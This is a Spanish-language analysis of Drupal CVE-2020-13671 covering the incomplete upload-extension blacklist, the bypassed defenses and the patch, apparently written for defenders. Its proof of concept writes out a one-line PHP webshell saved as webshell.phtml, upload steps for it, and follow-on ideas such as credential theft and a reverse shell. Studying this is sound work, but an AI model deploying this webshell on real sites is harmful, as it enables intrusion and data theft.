
Análisis detallado y prueba de concepto para CVE-2020-13671, una vulnerabilidad de ejecución remota de código en Drupal core mediante la carga de archivos, incluyendo la causa raíz, los pasos de explotación y la remediación.
Software: Drupal Core 8.7.5 (Afectadas: 7.x < 7.78, 8.x < 8.8.11, 8.9.x < 8.9.9, 9.0.x < 9.0.8)
CVSS: 8.8 (Alto)
CWE: CWE-434 — Carga sin restricciones de archivos con tipo peligroso
CISA KEV: Sí — Vulnerabilidad conocida explotada
Aviso: SA-CORE-2020-012
Drupal es un sistema de gestión de contenidos (CMS) de código abierto escrito en PHP, similar a WordPress o Joomla, pero orientado a la construcción de sistemas más complejos: sitios web empresariales, plataformas multilingües. Drupal utiliza una arquitectura modular, lo que permite ampliar la funcionalidad habilitando/deshabilitando módulos disponibles o instalando otros adicionales de la comunidad.
Una de las funciones básicas de cualquier CMS es permitir a los usuarios subir archivos: avatares de perfil, documentos adjuntos, archivos adjuntos en artículos. Drupal guarda estos archivos en el directorio sites/default/files/ y los sirve directamente a través del servidor web (Apache o Nginx).
⇒ Esto crea una superficie de ataque clara: si un atacante consigue subir un archivo PHP a ese directorio, el servidor web lo ejecutará cuando se acceda a él mediante una solicitud entrante.
Para evitarlo, Drupal construye múltiples capas de defensa: validación de extensiones de archivo, renombrado de archivos peligrosos, colocación de .htaccess para bloquear la ejecución de scripts en el directorio de subida. Pero en la versión 8.7.5, los atacantes explotan exactamente el punto ciego entre estas capas.
Esta vulnerabilidad requiere una cuenta con permisos de carga de archivos. Por defecto en Drupal 8.7.5, los usuarios normales (Autenticados) solo tienen permisos para ver contenido y publicar comentarios: sin permiso para crear artículos ni cargar archivos.
| Cuenta | ¿Explotable? | Explicación |
|---|---|---|
| Administrador | Sí | Permisos completos de carga |
| Editor / Creador de contenido | Sí | Si se le concede el permiso "Crear contenido" con carga por administrador |
| Usuario autenticado (por defecto) | No | Por defecto no tiene permiso para crear contenido ni cargar archivos |
| Anónimo (no conectado) | No | Sin permiso de carga |
Sin embargo, en la práctica, muchos sitios Drupal conceden permisos de creación de contenido a usuarios normales (foros, blogs comunitarios, sitios de noticias que permiten envío de artículos). En esos casos, un atacante solo necesita registrar una cuenta para explotarla.
Flujo del ataque:
Attacker with upload-privileged account → Create article (Article)
→ Upload webshell.phtml via Image/File attachment field
→ Drupal saves the file with its original name into sites/default/files/
→ Attacker accesses the file URL → Apache executes PHP → RCE
En el archivo core/modules/file/file.module, hay una única regex que determina qué archivos se consideran ejecutables:
define('FILE_INSECURE_EXTENSION_REGEX', '/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i');

Esta regex enumera 7 extensiones: phar, php, pl, py, cgi, asp, js. Cualquier archivo con una extensión que coincida con esta lista será renombrado automáticamente añadiendo .txt por Drupal, neutralizando la capacidad de ejecución.
Sin embargo, el motor PHP no solo procesa archivos .php. Dependiendo de la configuración del servidor web, también reconoce y ejecuta otras extensiones:
| Extensión | Significado | ¿Incluida en la regex? |
|---|---|---|
.php | PHP estándar | Sí |
.phtml | Plantilla alternativa de PHP | No |
.php5 | Manejador de PHP 5 | No |
.pht | Plantilla PHP | No |
.phps | Código fuente PHP | No |
.shtml | Server-Side Includes | No |
5 variantes de extensión de PHP están completamente ausentes de la regex. Esto significa que un archivo llamado shell.phtml enviado a Drupal → la regex no coincide → no se renombra → se guarda con su nombre original en el directorio de subida → el servidor web ve .phtml → lo ejecuta como PHP → el atacante consigue RCE. Esta es la causa raíz: Drupal usaba una lista negra para bloquear extensiones peligrosas, pero esa lista estaba incompleta.
Cuando un usuario sube un archivo, Drupal lo pasa por 3 funciones de validación antes de guardarlo. A continuación se analiza por qué las 3 fallan con .phtml.
file_munge_filename() (core/includes/file.inc)Propósito: detectar extensiones peligrosas ubicadas en el medio del nombre de archivo y añadir _ para alterarlas. Cómo funciona la función:

$filename_parts = explode('.', $filename); // split filename by "."
$new_filename = array_shift($filename_parts); // get the first part = original name
$final_extension = array_pop($filename_parts); // get the last part = final extension
foreach ($filename_parts as $filename_part) {
// iterate over the MIDDLE parts
// if any part looks like a dangerous extension → append "_"
}
return $new_filename . '.' . $final_extension;
Por ejemplo con shell.phtml:
explode divide en ["shell", "phtml"]shift toma "shell", dejando ["phtml"]pop toma "phtml", dejando []foreach no se ejecuta"shell.phtml" intactoSin embargo, si el archivo solo tiene una única extensión, no interviene. Por lo tanto, esta función está diseñada únicamente para manejar archivos con múltiples extensiones.
FILE_INSECURE_EXTENSION_REGEX (file.module:1015)Esta es la capa de defensa principal. Código en la línea 1015:

if (!\Drupal::config('system.file')->get('allow_insecure_uploads')
&& preg_match(FILE_INSECURE_EXTENSION_REGEX, $file->getFilename())
&& (substr($file->getFilename(), -4) != '.txt')) {
$file->setMimeType('text/plain');
$file->setFilename($file->getFilename() . '.txt');
}
Si el nombre de archivo coincide con la regex → cambiar MIME a text/plain y añadir .txt al final.
Con shell.phtml:
preg_match('/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i', 'shell.phtml') devuelve 0.phtml es peligroso, se cuela directamente..htaccess en el directorio de subidaDrupal coloca un archivo .htaccess en sites/default/files/:
SetHandler Drupal_Security_Do_Not_Remove_See_SA_2006_006
<Files *>
SetHandler Drupal_Security_Do_Not_Remove_See_SA_2013_003
</Files>
<IfModule mod_php5.c>
php_flag engine off
</IfModule>
La directiva php_flag engine off desactiva el motor de PHP para todo el directorio, pero solo se aplica a mod_php5. Drupal 8.7.5 se ejecuta en PHP 7, lo que significa que mod_php7 está activo y no desactivado.
Y .htaccess también tiene otras 3 debilidades:
.htaccess — este archivo es completamente ineficaz en NginxAllowOverride None → se ignora .htaccessmod_php → la directiva php_flag no tiene efectoecho '<?php echo shell_exec($_GET["cmd"]); ?>' > webshell.phtml
Inicia sesión en Drupal con una cuenta que tenga permisos de carga → Contenido → Añadir contenido → Artículo → en el campo Imagen, selecciona el archivo webshell.phtml → Subir.
Drupal acepta el archivo, no lo renombra y lo guarda con su nombre original en sites/default/files/.

Después de eso, ejecuta la llamada al shell con whoami:

Por lo tanto, hemos conseguido RCE como www-data.
Probando más a fondo para ver las credenciales:

El atacante puede leer settings.php, que contiene las credenciales de la base de datos, volcar toda la BD, instalar una reverse shell o escalar privilegios hasta root.
Actualizar la regex — añadir las 5 extensiones que faltan:
// Before:
'/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i'
// After:
'/\.(phar|php|pl|py|cgi|asp|js|phtml|php5|pht|phps|shtml)(\.|$)/i'
Actualizar .htaccess — añadir la desactivación para mod_php7:
<IfModule mod_php7.c>
php_flag engine off
</IfModule>
El parche funciona, pero sigue dependiendo de una lista negra. Si en el futuro surgen nuevas extensiones (.php8, .phpt), habrá que actualizar la regex de nuevo. La lista blanca — permitir solo extensiones conocidas y seguras — sería un enfoque más riguroso.
| Archivo vulnerable | core/modules/file/file.module línea 28 |
|---|---|
| Causa raíz | La lista negra de la regex no incluye .phtml, .php5, .pht, .phps, .shtml |
| Impacto | Subir .phtml → el servidor lo ejecuta → RCE |
| 3 capas de defensa evadidas | file_munge_filename() → FILE_INSECURE_EXTENSION_REGEX → .htaccess |
| Parche | Añadir 5 extensiones a la regex + desactivar mod_php7 en .htaccess |